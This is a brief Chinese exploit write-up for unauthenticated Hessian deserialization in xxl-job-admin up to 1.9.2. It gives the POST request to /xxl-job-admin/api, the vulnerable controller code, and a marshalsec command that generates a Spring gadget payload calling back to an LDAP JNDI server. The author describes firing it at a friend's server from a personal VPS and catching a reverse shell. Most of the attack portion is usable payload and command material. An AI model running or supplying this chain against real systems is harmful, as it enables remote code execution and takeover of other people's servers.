xxl-job-admin 低版本未授权反序列化漏洞
利用条件:version <=1.9.2
POST /xxl-job-admin/api HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:66.0) Gecko/66.0 Firefox/66.0
Accept: application/xml, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 702
Origin: http://127.0.0.1:8080
DNT: 1
Connection: close
Referer: http://127.0.0.1:8080/xxl-job-admin/
xxl-job-admin/api下存在未授权漏洞。
因为这两天研究过2.2.0的api接口,所以知道api类的接口都在com/xxl/job/admin/controller/JobApiController.java
下,查看这下面的代码。
private RpcResponse doInvoke(HttpServletRequest request) {
try {
// deserialize request
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);
// invoke
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
return rpcResponse;
} catch (Exception e) {
logger.error(e.getMessage(), e);
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + e.getMessage());
return rpcResponse;
}
}
简单粗暴,直接把body全部来反序列化了。
因为是HessianSerializer
,所以使用marshalsec
工具来进行反序列化。
记得用marshalsec的源码进行编译,修改pom.xml为1.9.2里一样的hessian和spring版本,以免有环境问题。
> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://:7777/Exploit >dns4.dat
生成的dns4.dat可以收到dnslog日志。
如果出现下面的问题,有可能是对面服务器环境的java版本太新了,不能jndi了。
拿今天朋友遇到的一台服务器进行测试,自己的vps上起个jndi服务。
收到反弹的shell。
“优秀者模仿 , 伟大者剽窃。”